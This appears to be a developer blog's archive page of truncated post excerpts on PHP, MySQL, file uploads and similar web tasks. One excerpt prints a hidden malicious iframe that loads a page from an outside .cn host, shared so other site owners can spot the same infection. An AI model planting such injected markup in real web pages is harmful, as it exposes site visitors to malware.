There are many ways out there to connect to a database, but there is only a few of them that are effective. This is the MySQL object that I use to connect to a database via PHP. You will find this class to be simple but very effective as it’s not overfilled, but it only [...]
Are you a big Twitter user, and would like to integrate your account into your site? Here is the code to display your last Tweet using the .xml file that is provided by Twitter. There is only one thing that needs to be changed out. which is the XML file address, you need to input [...]
Hello guys, I decided to do a post on how to upload files from a simple HTML form into your server. First, you will need to set up this form with the proper headings, please see code below. <form enctype=”multipart/form-data” action=”uploads.php” method=”POST”> Choose a file to upload: <input name=”uploadedfile” type=”file” /><br /> <input type=”submit” value=”Upload [...]
If you are a Web Developer like me, then you are always working from different locations, different machines, etc. You do not want to go and look for that client information every time to gain access via FTP to do a small change. There is where a good content management system comes in place. What [...]
Have you needed to transfer a large database? One of an eCommerce Cart or of a big blog? phpMyAdmin only allow’s imports of databases of 2 mbs, if you fix the php.ini file you can get maybe 10 or 12 max on most servers. In order to move this you will need to do it [...]
Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code [...]
Here is the script that needs to be added to the receipt or confirmation page, after the user has completed the sale. You will just need to add php inside of the script so that the content can be created dynamically per customer. One tip is to use a PHP loop. Here is the code: [...]
Everyone at some point has been browsing trough google or their favorite search engine and clicked on a link just to go into a white page with the words “404 Error” up on top. After this the only thing you have is to hit the “Back” button on your browser. As a user, this means [...]
Hello guys, another one of the sites I manage has been infected and blocked by Google, here is the iFrame script that has the malicious virus in it just in case you guys have been attacked by the same person. <iframe src=”http://namegamestore.cn:8080/index.php” width=183 height=129 style=”visibility: hidden”></iframe> Thank You, Gilberto Cortez
Hello guys, I have been working on a project for school which used AJAX and I just wanted you guys to have this code for reference. This code basically makes a call to a PHP script which gets Zip Code information (city and state) and then adds them into your web page. I used a [...]
